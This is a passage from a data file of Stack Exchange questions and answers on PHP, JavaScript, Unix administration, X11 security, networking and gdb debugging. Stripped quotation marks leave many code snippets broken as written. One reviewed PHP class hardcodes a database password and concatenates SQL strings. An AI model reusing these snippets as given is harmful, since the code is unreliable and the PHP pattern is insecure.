$this->curl->simple_get($rest_url_First_weekoff);        $data_First_weekoff=json_decode($data_First_weekoff,true);        if($data_First_weekoff['status']=='success')        {            $data['First_weekoff'] = $data_First_weekoff['data'];        }        $rest_url_department_dtls=http://MyAPI/Department_api/department_dtls/token/.$this->session->userdata('userToken');        $data_department_dtls = $this->curl->simple_get($rest_url_department_dtls);        $data_department_dtls=json_decode($data_department_dtls,true);        if($data_department_dtls['status']=='success')        {            $data['department_dtls'] = $data_department_dtls['data'];        }        $rest_url_parentmoduleIdex=http://MyAPI/Dashboard_api/parentmoduleIdex/Idex/Dashboard;        $data_parentmoduleIdex = $this->curl->simple_get($rest_url_parentmoduleIdex);        $data_parentmoduleIdex=json_decode($data_parentmoduleIdex,true);        if($data_parentmoduleIdex['status']=='success')        {            $data['parentmoduleIdex'] = $data_parentmoduleIdex['data'];        }        $sub_module_menu_selection = array();        $sub_module_menu_selection['sub_module_menu_selection'] = 'Dashboard';        $this->session->set_userdata($sub_module_menu_selection);        $this->load->view('pages/header',$data); //included header        $this->load->view('pages/sidebar_menu',$data); //included sidebar        $this->load->view('dashboard/home',$data);        $this->load->view('pages/footer',$data); //included footer    }In every controller I have added header,sidebar_menu and footer. Means repeating code. Can you please tell me how to manage repeating code ?Also suggest me if need change architecture. Means I have load header,footer,menu in every page and all pages are dynamic so it's take a time for load and I want to reduce time so please guide me."  , "title": "Web dashboard using many REST API requests"  , "tags": "php;performance;codeigniter;rest"  } 
{  "id": "_webapps.100993"  , "question": "If I share an interactive Google Spreadsheet using File > Publish to the web... does this spreadsheet include any personal information from my Google Account (eg. Full Name?)If it does (somewhere in the docs.google.com hosted page's source code), is there a way to privately share this spreadsheet without this personal data?"  , "title": "Sharing Google Spreadsheets Privately"  , "tags": "google spreadsheets"  , "accepted_answer": "Short answerPublishing to the web doesn't include private information other than the content of the file. Only one file property/meta-data that is shown in a published document is the file name.ExplanationIn the Google Docs editors argot, publishing to the web and sharing are two different and independent features. The related help articles are included in the references section.Usually the Google Docs editors official documentation mention the included features, not the missing ones.ReferencesGoogle Docs editors Help articlesSharing files and foldersPublish a document, spreadsheet, presentation, or drawing"  } 
{  "id": "_unix.109135"  , "question": "As shown by the following code:lltotal 136-rwxr-xr-x 1 kaiyin kaiyin  19067 May  9  2013 dbmeister.py-rwxr-xr-x 1 kaiyin kaiyin   1617 Jul 29  2011 locuszoom-rwxr-xr-x 1 kaiyin kaiyin 112546 May  9  2013 locuszoom.R./locuszoom-bash: ./locuszoom: Permission deniedlocuszoom is executable globally, but still can't be executed. The files are on a harddisk mounted at /media/data1."  , "title": "File executable by all, yet still cannot be executed?"  , "tags": "permissions;mount;executable"  , "accepted_answer": "The harddisk needs to be remounted so that exec mount option is included.excerpt from mount man pageFILESYSTEM INDEPENDENT MOUNT OPTIONS    ....    exec   Permit execution of binaries.You can do this 1 of 2 ways.ExamplesVia the command line.$ mount -o remount,exec /media/data1Or in your /etc/fstab.# <file system>      <dir>         <type>    <options>             <dump> <pass>/dev/sdb1            /media/data1  ext4      rw,exec,noauto        0      0"  } 
{  "id": "_codereview.94586"  , "question": "This is working code from a dataTable, which shows the function executed after the row is created:    createdRow : function (nRow, data, iDataIndex) {            var $row = $(datatable.row(nRow).draw().node());            var $quantityInput=  $row.find(input.quantity);            var rowClass;            if (data.wasConsumed || data.wasCancelled){                                 $quantityInput.parent().append(<span>+ $quantityInput.val() +</span>);                $row.find(input, select).remove();                  if(data.wasConsumed){                        rowClass = .consumed;                  } else if (data.wasCancelled){                   rowClass = .cancelled;                  }                   $row.addClass(rowClass);            }                     }I added the if(data.wasConsumed || data.wasCancelled) because repeating the shared code in the other two if-statements seems worse to me.Here the expected results (Action1 is the shared action):wasCancelled: Action1, Action2wasConsumed: Action1; Action3Both false: noAction          My questions:  Are these if-statements poorly designed? (in general and also in this particular example)How could these be refactored/improved?Any other suggestions?"  , "title": "Marking a new dataTable row as consumed or cancelled"  , "tags": "javascript;jquery"  , "accepted_answer": "Something to note about your function is that, when data.wasConsumed || data.wasCancelled is false, the entire function does nothing. That means that we can move the condition to the top as a guard clause:function (nRow, data, iDataIndex) {    if (!data.wasConsumed && !data.wasCancelled) {        return;    }    // The rest of the code...With one thing to switch on, it's really straightforward. With two, as you have here, it's not quite so straightforward, but it's fairly easy to manage. As the conditions start to proliferate, though, there may be better strategies to take.I might say that instead of using booleans to represent the different conditions, we could use a string status instead. This doesn't mean that data has to lose the boolean properties (or even change at all, see below). data could grow some behavior with a #status method that returns a string status:data.status = function() {    if(this.wasConsumed) {        return consumed;    } else if(this.wasCancelled) {        return cancelled;    } else {        return ;    }};Now, we could do something like:function (nRow, data, iDataIndex) {    var status = data.status();    if (status.length === 0) {        return;    }    var $row = $(datatable.row(nRow).draw().node());    var $quantityInput = $row.find(input.quantity);    var rowClass;    $quantityInput.parent().append(<span>+ $quantityInput.val() +</span>);    $row.find(input, select).remove();      if(status === consumed) {        rowClass = .consumed;      } else if (status === cancelled) {        rowClass = .cancelled;      }       $row.addClass(rowClass);}We could even convert the second conditional into a case statement.switch(status) {    case consumed:        rowClass = .consumed;        break;    case cancelled:        rowClass = .cancelled;        break;}But that's awfully verbose. We could use an object as a dictionary to map our statuses to classes:var STATUS_CLASSES = {    consumed: .consumed,    cancelled: .cancelled};//...rowClass = STATUS_CLASSES[status];This allows us to eliminate the conditional all together, and just use a configuration array. The astute reader might notice, though, that the status returned happens to match our class name that we are assigning, so we could also just do:rowClass = . + status;This is the simplest, and because we decide the return value of #status, we can guarantee this convention.We may not always be in the position to change the data object, though, and doing so may have other side effects. In this case, we have an alternate strategy: to make a status factory. We could create an object (or even just a single function) that takes a data object and returns a status object (just a string that is one of our statuses):var DataStatus = {};DataStatus.forData = function(data) {    if(data.wasConsumed) {        return consumed;    } else if(data.wasCancelled) {        return cancelled;    } else {        return ;    }};We can see that the implementation of the factory is almost exactly the same as the #status method. We use it in a very similar manner. The final result of all this would look like:function (nRow, data, iDataIndex) {    var status = DataStatus.forData(data);    if (status.length === 0) {        return;    }    var $row = $(datatable.row(nRow).draw().node());    var $quantityInput = $row.find(input.quantity);    var rowClass;    $quantityInput.parent().append(<span>+ $quantityInput.val() +</span>);    $row.find(input, select).remove();     rowClass = . + status;    $row.addClass(rowClass);}"  } 
{  "id": "_unix.249176"  , "question": "I am on Debian 8.2 and trying to install a Debian 8.2 QEMU/KVM guest. I created a virtual disk image file and booted into the Debian installer ISO with the following commands:jesse@deb:~/vms$ qemu-img create deb-unstable.img 20GFormatting 'deb-unstable.img', fmt=raw size=21474836480 jesse@deb:~/vms$ qemu-system-x86_64 -enable-kvm -k en-us -cdrom debian-8.2.0-amd64-netinst.iso -hda deb-unstable.img -boot dWhen I get to the Install base system step of the Debian installer it fails with the following errors :It seems like for some reason, an error in the EXT4-fs module is causing the virtual disk file to be mounted read-only. But even after reading through various bug reports that seem like they might be related, e.g:https://bugzilla.kernel.org/show_bug.cgi?id=42723https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1423672I can't quite figure out what to make of this. Is there something simple I'm doing wrong, or is this something that I should message a bug report list about?"  , "title": "Debian 8 install in QEMU/KVM guest failing due to ext4-fs / read only filesystem errors"  , "tags": "debian;filesystems;kvm;qemu;debian installer"  } 
{  "id": "_unix.250367"  , "question": "I'm writing a book and sometimes I must show some screenshots taken from my terminal window. Problem is they are not good for print, so I need to increase their quality (resolution). Is there any way to take screenshots at a higher resolution? At the moment, I'm using Ubuntu (is there any way to simulate HIdpi and take the screenshot?)."  , "title": "Take high quality screenshots of my terminal window"  , "tags": "terminal;screenshot"  } 
{  "id": "_unix.275136"  , "question": "When I'm scanning port range 4050-4060 of an smart metering device all ports are reported as closed:root@abc:~/rvm/dlms# nmap -p 4050-4060 192.168.1.242Starting Nmap 6.47 ( http://nmap.org ) at 2016-04-08 15:09 CESTNmap scan report for 192.168.1.242Host is up (0.0038s latency).PORT     STATE  SERVICE4050/tcp closed unknown4051/tcp closed unknown4052/tcp closed unknown4053/tcp closed unknown4054/tcp closed unknown4055/tcp closed unknown4056/tcp closed lms4057/tcp closed unknown4058/tcp closed kingfisher4059/tcp closed unknown4060/tcp closed unknownMAC Address: 00:0F:93:00:C8:E5 (Landis+Gyr)Nmap done: 1 IP address (1 host up) scanned in 5.40 secondsWhen I'm scanning port range 4050-4059 (only seconds later) some ports are reported as closed, some as filtered:root@abc:~/rvm/dlms# nmap -p 4050-4059 192.168.1.242Starting Nmap 6.47 ( http://nmap.org ) at 2016-04-08 15:10 CESTNmap scan report for 192.168.1.242Host is up (0.0038s latency).PORT     STATE    SERVICE4050/tcp closed   unknown4051/tcp filtered unknown4052/tcp closed   unknown4053/tcp closed   unknown4054/tcp closed   unknown4055/tcp filtered unknown4056/tcp filtered lms4057/tcp closed   unknown4058/tcp closed   kingfisher4059/tcp filtered unknownMAC Address: 00:0F:93:00:C8:E5 (Landis+Gyr)Nmap done: 1 IP address (1 host up) scanned in 5.44 secondsAnybody any idea?"  , "title": "why does nmap shows same ports sometimes as filtered and sometimes as closed?"  , "tags": "networking;tcp;nmap"  } 
{  "id": "_unix.192621"  , "question": "I have 2 questions. First one is for the -sf options and second one is for the more specific usage of -f options.By googling, I figured out the description of command ln, option -s and -f.(copy from http://linux.about.com/od/commands/l/blcmdl1_ln.htm)-s, --symbolic : make symbolic links instead of hard links-f, --force : remove existing destination filesI understand these options individually. But, how could use this -s and -f options simultaneously? -s is used for creating a link file and -f is used for removing a link file. I can't understand this situation and why use this merged option.To know more about ln command, I made some examples.$ touch foo     # create sample file$ ln -s foo bar # make link to file$ vim bar       # check how link file works: foo file opened$ ln -f bar     # remove link file Everything works fine before next command$ ln -s foo foobar$ ln -f foo     # remove original fileBy the description of -f option, this last command should not work, but it does! foo is removed.Why is this happening? "  , "title": "What is the meaning of 'ln -sf' in Linux?"  , "tags": "shell;ln"  , "accepted_answer": "First of all, to find what a command's options do, you can use man command. So, if you run man ln, you will see:   -f, --force          remove existing destination files   -s, --symbolic          make symbolic links instead of hard linksNow, the -s, as you said, is to make the link symbolic as opposed to hard. The -f, however, is not to remove the link. It is to overwrite the destination file if one exists. To illustrate: $ ls -ltotal 0-rw-r--r-- 1 terdon terdon 0 Mar 26 13:18 bar-rw-r--r-- 1 terdon terdon 0 Mar 26 13:18 foo$ ln -s foo bar  ## fails because the target existsln: failed to create symbolic link bar: File exists$ ln -sf foo bar   ## Works because bar is removed and replaced with the link$ ls -ltotal 0lrwxrwxrwx 1 terdon terdon 3 Mar 26 13:19 bar -> foo-rw-r--r-- 1 terdon terdon 0 Mar 26 13:18 foo"  } 
{  "id": "_cs.3266"  , "question": "Problem : Given a (one dimensional) row containing $2N$ tiles arranged in $2N + 1$ spaces. There are $N$ black tiles (B), $N$ white tiles (W), and a single empty space. The tiles are initially in an arbitrary ordering. Our goal is to arrange the tiles such that all white tiles are positioned to the left of the black ones, and one black tile is in the rightmost position. The goal position of the empty space is not specified.   Tiles can be moved to the empty space when the empty space is at most $N$ cells away. Hence there are at most $2N$ legal moves from each state. The cost of each move is the distance between the tile and the empty space to which it moves ($1$ to $N$).So I am doing this problem with A* search algorithm with different heuristics(ofcourse admissible).So can anybody suggest me some heuristics.Thanks"  , "title": "Heuristics for an Artificial Intelligence problem"  , "tags": "artificial intelligence;heuristics"  , "accepted_answer": "All white tiles must be moved all the way to the left.  Call the left most position 0.  Then, in the final position, the sum of white distances from the axis is 0+1+...(N - 1).Calculate this value, the solution distance of the tiles up front.  As a heuristic, add the zero-based positions of white tiles up, and subtract from this sum the solution distance calculated a priori.This heuristic gives you a minimal cost of finding a solution (eg. it will cost at least that much to get all white tiles in the correct place)."  } 
{  "id": "_unix.166814"  , "question": "Mutt uses vim as its editor, and its temp files are in /tmp/mutt-*I want vim to auto-insert on the first line when replying to an email in mutt.  here is the applicable line from my .vimrc:autocmd BufRead /tmp/mutt-* execute 'normal gg/\\n\\n\\n^M2j'I don't think this line inserts (I guess I need to append 'i' to it), but that's not the problem right now.  The problem is, vim called by mutt starts with the cursor on the last line, despite this addition to vimrc.So, what am I doing wrong, and most importantly, How can I get vim to insert at the top of a reply when using mutt?Edit: I know that it's using my .vimrc because when I intentionally enter garbage after 'execute', I get a vim error when replying.Update: I have tried the suggestions, and the insert suggestion works great, but I have ben unable to get the insert to start at the top of the reply (i.e. the top of the tmp file vim opens)."  , "title": "Getting vim to go to the first line and enter insert mode when writing an email with mutt"  , "tags": "vim;mutt"  , "accepted_answer": "I needed two autocmds to do this.  To reach the gap between the headers and the message, search for an empty line:autocmd BufRead /tmp/mutt-* execute normal /^$/\\nthen to enter insert mode:autocmd BufRead /tmp/mutt-* execute :startinsert"  } 
{  "id": "_unix.217754"  , "question": "I have a tools directory /tools/tool_name that has hundreds of releases of the tool inside. I am trying to find an easy way of knowing what releases can be archived. Is there an easy way of finding which release directory have not had any of its files accessed in the past year? A great example is /tools/cadence where there are hundreds or even thousands of versions of cadence in /tools/cadence. How do I find which versions can be archived off because no one has used them?"  , "title": "How do I find directories where none of the files inside have been accessed in a year?"  , "tags": "linux;files;find;timestamps"  } 
{  "id": "_webapps.104489"  , "question": "We are working on a website : custormers have to fill a long form (which may be provided by your Cognito Forms); they can come back later on the form and update their previous data.So, we would like to know if :we can link customers to a form (for instance with an hidden value (customers ID) stored in data form) ?a customer can update data from an existing form (data form retrieved with customer ID)"  , "title": "Cognito Forms: Can users update data they have previously filled?"  , "tags": "cognito forms"  } 
{  "id": "_unix.275733"  , "question": "I want to install X on a system I'm in charge of.  I plan on running it with local connections only, e.g. with startx -- -nolisten tcp (which I understand is the default these days).Some relatively old notes on security, Crash Course in X Windows Security, imply that displays are inherently insecure:Running your display with access control enabled by using 'xhost -'  will guard you from XOpenDisplay attempts through port number  6000. But there is one way an eavesdropper can bypass this  protection. If he can log into your host, he can connect to the  display of the localhost. ... Of course, an intruder must have an account on your system and be able to log into the host where the specific X server runs. On sites with a lot of X terminals, this means that no X display is safe from those with access. If you can run a process on a host, you can connect to (any of) its X displays.The implication here is that there's no way to provide even elementary security for X displays locally.Is that true?  If not, are there configuration settings one needs to consider that can prevent it?"  , "title": "Securing X window displays"  , "tags": "x11;security"  , "accepted_answer": "The document you're reading is from the last century. I don't remember any system I've used this century that didn't use cookies (described in 8 of the document). With cookies, the first thing an application needs to do when it connects to the X server is to present the cookie, which is a password that's randomly generated when the server starts and stored in a file that only you can read. Applications know the location of the cookie file because it's the value of the XAUTHORITY environment variable, defaulting to ~/.Xauthority. If a process can read your cookie, it means that it has access to the private files on your account, so the security of the X server is a moot point.Since this is the default, you don't need to take explicit steps to secure the X server.You do need to restrain from some behaviors:Obviously, don't reveal the content of the cookie file.Don't use TCP connections to the X server unless they're on a trusted network where you're sure there can't be any eavesdropper. (The loopback interface is fine.) If someone snoops on the TCP connection, they'd see the cookie. Instead, use SSH and tell it to forward the X11 connection (ForwardX11 yes in the configuration file, ssh -X on the command line).When you run SSH from machine A (running an X server) to machine B, if X11 forwarding is activated, applications running on your account on the remote machine get access to the local X server. The X server doesn't perform any isolation based on the machine on which the application is running. Note that this means that you must trust the remote administrator.If an application has access to the X server, consider that it has access to your account. While some applications disable the most obvious keystroke monitoring and injection features, there are features that can't be disabled; X doesn't distinguish between a screenshot app, a keyboard macro app, and some random app that you don't trust. If you want to run a GUI application that you don't trust, run it in a virtual machine (with the display in the VM), or run it on a separate account and have it display on a separate X server such as Xnest."  } 
{  "id": "_codereview.91923"  , "question": "This PHP class connects to and queries the database MuSKL. I am a novice, and I ask you to comment on the approach and style of code.<?php class MysqlAccess {    private $dsn = 'mysql:dbname=bid;host=127.0.0.1';    private $user = 'bid_root';    private $password = 'e1e2e3e4e5er';    private static $_db;    private $_PDO;    public $fetchQueryResult;    private function __construct() {        try {            $this->_PDO = new PDO($this->dsn, $this->user, $this->password);            $this->_PDO->exec('SET NAMES utf8');        } catch (PDOException $e) {            echo $e->getMessage();        }    }    protected function __clone() {}    static public function getInstance() {        if (is_null(self::$_db)) {            self::$_db = new self();        }        return self::$_db;    }    public function querySelect($tableName, array $arrayColum) {        if (!is_array($arrayColum) or ! is_string($tableName)) {            die('     SELECT   SQL');        }        $colums;        foreach ($arrayColum as $value) {            if (!is_string($value)) {                die('     SQL');            }            $colums .= SequrityData::SequrityReturnData($value) . ', ';        }        $colums = substr($colums, 0, -2);        //            $results = $this->_PDO->query('SELECT ' . $colums . ' FROM ' . SequrityData::SequrityReturnData($tableName));        $this->fetchQueryResult($results);    }    public function queryInsert($tableName, array $arrayColums) {        if (!is_array($arrayColums) or ! is_string($tableName)) {            die('     SELECT   SQL');        }        $colums;        foreach ($arrayColums as $key => $value) {            if (!is_string($value) or ! is_string($key)) {                die('     SQL');            }            $colums .= SequrityData::SequrityReturnData($key) . ', ';            $values .= '\\'' . SequrityData::SequrityReturnData($value) . '\\', ';        }        $colums = substr($colums, 0, -2);        $values = substr($values, 0, -2);        $tableName = SequrityData::SequrityReturnData($tableName);        $insert = INSERT INTO $tableName ($colums) VALUES ($values);        $this->_PDO->query($insert);    }    function __set($name, $value) {        if (!is_string($name) && !is_string($value)) { //               die('   ');        }        $this->$name = $value;    }    private function fetchQueryResult($results) {        $arrResult = $results->fetchAll(PDO::FETCH_ASSOC);        foreach ($arrResult as $key => $value) {            $this->$key = $value;        }    }}"  , "title": "Selecting and inserting MySQL records using PDO"  , "tags": "php;beginner;mysql;pdo"  } 
{  "id": "_codereview.138527"  , "question": "I'm new to Python and experimenting with some simple scripts. I would appreciate if you could give me some suggestions on how the following code can be improved or made simpler or anything in general.#Coverts MAC Addresses into cisco formatdef mac_conv(mac, sep='-'):  #split mac address into 3 groups  splitted_mac = mac.split(sep)  gr1 = ''.join(splitted_mac[0:2])  gr2 = ''.join(splitted_mac[2:4])  gr3 = ''.join(splitted_mac[4:])  #join groups into a single MAC  mac = gr1, gr2, gr3  final_mac = '.'.join(mac)  #print final MAC address  print(final_mac)#Open file with MAC addresses and convert themwith open('mac.txt', 'r') as f:  for mac in f.readlines():    mac_conv(mac)"  , "title": "Simple MAC converter"  , "tags": "python;beginner"  , "accepted_answer": "Your code's pretty good.The only thing I'd change is to reduce the amount of lines.To do this I would base my algorithm around the use of a list comprehension.Split MAC into segments.Slice segments into a three item list. (Like gr1 without the join)Perform a list comprehension to join the sliced segments together.Join the new three item list together.Return it.segments = mac.split(sep)groups = [segments[0:2], segments[2:4], segments[4:]]a = [''.join(group) for group in groups]mac = '.'.join(a)return macI'd then join the last three lines into one.As return and '.'.join are easy to understand in a single one-liner.Other than the above function, you don't need to use f.readlines() you can just use f.And you should always use four spaces.This can result in:def mac_conv(mac, sep='-'):    segments = mac.split(sep)    groups = [segments[0:2], segments[2:4], segments[4:]]    return '.'.join(''.join(group) for group in groups)with open('mac.txt', 'r') as f:    for mac in f:        print(mac_conv(mac))"  } 
{  "id": "_unix.192177"  , "question": "Does Linux virtual bridge(configured with for example ip or brctl) support VLAN's? For example configure access ports in different VLAN's and trunk ports with only certain VLAN's enabled. Only option in my kernel(3.2.0-4-686-pae) configuration file regarding VLAN's and bridge is CONFIG_BRIDGE_EBT_VLAN, but as I understand, this enables filtering of 802.1q VLAN fields for ebtables."  , "title": "Does Linux virtual bridge support VLAN's?"  , "tags": "linux kernel;bridge"  , "accepted_answer": "Not a problem, it's the way most openWRT systems connect the wlan and switch ports into the same LAN. Here's an example of the config on my openWRT system which has two wifi networks, one for private use and one for guests:# brctl showbridge name     bridge id               STP enabled     interfacesbr-vlan2        7fff.a0f3c15eb708       no              eth0.2                                                        wlan0                                                        wlan1br-vlan3        7fff.a0f3c15eb708       no              eth0.3                                                        wlan0-1                                                        wlan1-1Some extra explanation:The typical openwrt hardware (above is on a TP-Link WDR4300) has a switch that handles all the physical ports; sometimes the physical WAN port is a separate eth interface on the SoC CPU. The switch is connected to the CPU with a trunk (packets on this connection are tagged with a VLAN tag). So eth0.2 is VLAN2 that is simply connected to 4 of the physical switch ports, stripped of the VLAN tag.So you should see br-vlan2 simply as the LAN network, the VLANs are used due to necessity as there is just one connection from CPU to the switch.An ethernet bridge in Linux can have VLANs and physical interfaces as members. That's according to my expectations as a VLAN interface behaves just like a physical interface in Linux, having its own routing, firewalling etc. just like any physical interface. I expect you could also add different VLANs to the bridge, if you don't mind the insanity that follows :)I haven't tried bridging a physical interface such as eth0 that is also carrying VLAN-tagged traffic though... I don't know whether those tagged packets will also be bridged."  } 
{  "id": "_codereview.120813"  , "question": "I'm studying functional programming, and I have the following problem to solve. It's an simplified version of Caesars Cipher:You need to write a function, which will take string encoded with Caesar cipher as a parameter and decode it.The one used here is ROT13 where the value of the letter is shifted by 13 places. e.g. 'A'  'N', 'T'  'G'.You have to shift it back 13 positions, such that 'N'  'A'.I made the following implementation:const head = (str) => str[0];const tail = (str) => str.slice(1);const code = (str) => str.charCodeAt(0);const rot13 = (str) => str ? (code(str) < 65 || code(str) > 90) ? head(str).concat(rot13(tail(str))) : String.fromCharCode((((code(str) - 65)) + 13) % 26 + 65).concat(rot13(tail(str))) : '';It works fine, I only want to know if there is performance issues, and what can I do to improve my code?"  , "title": "Simplified Caesars Cipher"  , "tags": "javascript;caesar cipher;ecmascript 6"  , "accepted_answer": "I don't know about the performance, but readability-wise, cramming that double-nested ternary on a single line of code isn't, well, ideal.Give it some [vertical] air:const rot13 = (str) => str    ? (code(str) < 65 || code(str) > 90)        ? head(str).concat(rot13(tail(str)))        : String.fromCharCode((((code(str) - 65)) + 13) % 26 + 65).concat(rot13(tail(str)))    : '';Ah, already better.I'm no javascript expert, but being all inline, it probably performs better than if you further improved readability by introducing a function for each of the two outcomes of the inner condition... on the other hand, that could just as well be premature optimization - so I'd still go for readability and extract the logic into its own function."  } 
{  "id": "_unix.75709"  , "question": "In the answer of this, it mentioned:People also hear that X uses the network and think this is going to  be a performance bottleneck. Network here means local UNIX domain  socket, which has negligible overhead on modern Linux. Things that  would bottleneck on the network, there are X extensions to make fast  (shared memory pixmaps, DRI, etc.). Threads in-process wouldn't  necessarily be faster than the X socket, because the bottlenecks have  more to do with the inherent problem of coordinating multiple threads  or processes accessing the same hardware, than with the minimal  overhead of local sockets.But I always think that multiple threads communicate by shared variables should be faster than multiple processes communicate by Unix domain socket. So...am I wrong? Is that coordinating multiple threads such a time consuming job? And the order of how processes get scheduled does not affect the performance of the Unix domain socket at all?Any idea?"  , "title": "So the design of client-server separation is not the bottleneck of X Window?"  , "tags": "x11;scheduling;x server;ipc;multithreading"  } 
{  "id": "_softwareengineering.308170"  , "question": "How should I structure a piece of code that executes an operation, but may have slightly different behavior depending on, let's say, user roles?Example:My app has a 'manager' and a 'employee' roles. There are many managers in my app, and each of them have many employees. I have a dashboard where managers and their employees can add/edit/delete products.Both can edit the products the have created themselves, but managers can edit products belonging to his employees. If a manager edits a product created by an employee, the employee will get an email notification about the edit.The issue I have, is that Im creating if/else or switch/case statements for checking the user roles, and I feel once I add new roles my code will need to check for them too and my code will become harder to read.For example:// What I currently have:public function updateProductForUser(Product $product, UserInterface $user){    $userWhoCreatedProduct = $product->getCreatedByUser();    if ($userWhoCreatedProduct === $user) {        // If the user who created the product is the same one trying to update it,        // then go ahead and execute the update.        $this->_doUpdateProductForUser($product, $user);        return;    } elseif ($user instanceof Manager) {        $allManagerEmployees = $this->someService->findAllEmployeesOfManager($user);        if (in_array($userWhoCreatedProduct, $allManagerEmployees)) {            // If the user trying to update the product is a manager, and the product was            // created by an employee of the manager, then execute the update but also            // send an notification to the employee that the product he created got updated            // by his manager.            $this->_doUpdateProductForUser($product, $user);            $this->notifyUserThatProductGotUpdated($product);        }    }}How can I improve this? Is there a better way? What are the pitfalls of the implementation? Any advice is very welcomed. Thanks!"  , "title": "Architecture: API with slightly different behavior depending on the logged-in user roles"  , "tags": "architecture;api;source code"  , "accepted_answer": "You can make the code a little more maintainable if you Put the product handling logic (without permission logic and without other side effects) into a separate service class ProductDomain. (See Separation of concerns for details)Create a ProductHandlingService class that uses ProductDomain and applies permissions and other side effects give the conditions a name (See Strategy pattern for details)The ProductHandlingService  might look like this:public function updateProductForUser(Product $product, UserInterface $userWhoWantsToModify){  if ($strategy->userIsAllowedToModifyProduct($product, $userWhoWantsToModify) {    $ProductDomain->_doUpdateProductForUser($product, $userWhoWantsToModify);    if ($strategy->userNeedsInfoAboutProductUpdate($product, $product->getCreatedByUser(),          $userWhoWantsToModify) {      $this->notifyUserThatProductGotUpdated($product);    }  }}Advantages over the original design:core-ProductDomain, Permission-detection and special-handling can be tested independently. During software lifetime it is likely that Permission-detection and special-handling will be change often due to political reasons.core-ProductDomain is likely to change not very often and mostly because of technical reasons."  } 
{  "id": "_softwareengineering.267766"  , "question": "I am developing services using Asp.Net Web Api. I am debating on design of our controllers.We have this common scenario where user will be presented with bunch of search field, once he enters the search criteria we will show summary of records (not the complete details), user will select one summary record and can go to details for this.Ex. class PersonSummary {   string FirstName {get;set;}   string LastName {get;set;}   string Gender {get;set;}}class Person {   string FirstName {get;set;}   string LastName {get;set;}   string Gender {get;set;}   string SSN {get;set;}    string Race {get;set;}   Address Address {get;set;}}User will search by user first\\last name and we will show will list of PersonSummary records, he can select one PersonSummary to look at the details (Person record).Now is it best design that we go with two controllers PersonSummaryController and PersonController? Thank you."  , "title": "Asp.net Web Api Controller design"  , "tags": "asp.net;web api;asp.net mvc web api"  , "accepted_answer": "I don't see a need for two controllers. You're dealing with one type of resource (Person), but asking for data in two formats (summary and detail). I would leave it at one controller and go on with life. "  } 
{  "id": "_unix.5771"  , "question": "Possible Duplicate:Lightweight outgoing SMTP server I am looking for a minimal mail solution (MTA) for a headless server which generate e-mails for local users and and fully qualified addresses from cron-jobs, etc.Ideally all mails to local user foo should be mapped to foo@mydomain, with possible modifications for uid<1024, and sent off to an external smtp server without involving /var/mail.Some years ago, I used sSMTP for a similar task, and I was wondering if this is still the way ahead? Also, how much of the default debian mail system should/could I remove?Update Ended up Googling a bit, and the obvious candidates seem to be  sSMTP: Not actively developed eSMTP: Not actively developed according to home pagemSMTP: Recommended in front of sSMTP at http://www.scottro.net/qnd/qnd-ssmtp.htmlnullmailer: Suggested by GillesEven though eSMTP is not developed anymore, it seems to have the nicest documentation. It doesn't quite fit my needs though, at it seems to insist on delivering mail to local user foo via a Mail Delivery Agent (MDA) instead of pushing it out over smtp to foo@some.domain. Or maybe it does do the mapping if I add qualify_domain to the config. Might have to try it out...nullmailer appears to be running a queue in /var, which is not something I want.Does anybody have experience with any of these?"  , "title": "Simplest way of forwarding all mail from server?"  , "tags": "debian;software rec;email"  } 
{  "id": "_reverseengineering.2241"  , "question": "Long time ago I noticed that usingset follow-fork-mode child in GDB on FreeBSD doesn't really work. This problem occurs very often with some challenges on various Capture The Flag contests.For example, a server will spawn a child which would handle the connection.The child code has a vulnerability which I would like to debug, but gdb just never follows the childs execution and I can't really observe the vulnerability being triggered.So far, I've solved this problem in two ways:Making a connection, waiting for a child to spawn and than attaching GDB to it.This works since the spawned child has it's own PID to which I can attach, but is rather painful since first I have to make a connection from one session, attach with GDB in another, and then send the payload/continue the connection in the first. Patching the binary after the fork call to continue the execution in the parent process instead of the child. This is also painful since then I have to restart the whole parent process to create another debugging session.There are some other tricks that can be employed, but these are enough to illustrate my point. Now I know there have been some limitations on FreeBSD in the past regarding this but has anything improved? Is there any way to patch GDB to add this functionality? Any suggestions for an easier way of overcoming this?"  , "title": "gdb on FreeBSD and follow-fork-mode child"  , "tags": "gdb;exploit;debugging;multi process"  , "accepted_answer": "Try to set a catchpoint on fork if you are want to both the parent and the child.set-follow-fork-mode ask catch fork Concerning your second point, I have this macro in my .gdbinit (I believe ultimately originating from Tavis Ormandy). It is imminently useful in many cases, your own included.define assemble # dont enter routine again if user hits enter dont-repeat if ($argc)  if (*$arg0 = *$arg0)    # check if we have a valid address by dereferencing it,    # if we havnt, this will cause the routine to exit.  end  printf Instructions will be written to %#x.\\n, $arg0 else  printf Instructions will be written to stdout.\\n end printf Type instructions, one per line.\\n printf End with a line saying just \\end\\.\\n if ($argc)  # argument specified, assemble instructions into memory  # at address specified.  shell nasm -f bin -o /dev/stdout /dev/stdin \\    <<< $( echo BITS 32; while read -ep '>' r && test $r != end; \\                do echo -E $r; done ) | hexdump -ve \\        '1/1 set *((unsigned char *) $arg0 + %#2_ax) = %#02x\\n' \\            > ~/.gdbassemble  # load the file containing set instructions  source ~/.gdbassemble  # all done.  shell rm -f ~/.gdbassemble else  # no argument, assemble instructions to stdout  shell nasm -f bin -o /dev/stdout /dev/stdin \\    <<< $( echo BITS 32; while read -ep '>' r && test $r != end; \\                do echo -E $r; done ) | ndisasm -i -b32 /dev/stdin endenddocument assembleAssemble instructions using nasm.Type a line containing end to indicate the end.If an address is specified, insert instructions at that address.If no address is specified, assembled instructions are printed to stdout.Use the pseudo instruction org ADDR to set the base address.end"  } 
{  "id": "_unix.248896"  , "question": "During setup on a specific set of servers, I need gcc-c++ installed to compile some of the software I am setting up.  After install is complete I need to remove the compiler for security reasons.  However, the libraries that gcc-c++ installs need to remain in place.I can see the .so and .a files in the output of repoquery --list gcc-c++.I could just copy those specific libraries to /tmp, run yum remove gcc-c++, and then move the libraries back into place.Is there an already created solution to this?  e.g. is there an option that yum or rpm has that would allow me to leave specific files from the package in place?If no option in yum or rpm, is there any preferable way of doing it than my suggestion of copying to /tmp and moving them back afterward??"  , "title": "Remove package with yum but leave libraries in place?"  , "tags": "yum;rpm;gcc;libraries"  } 
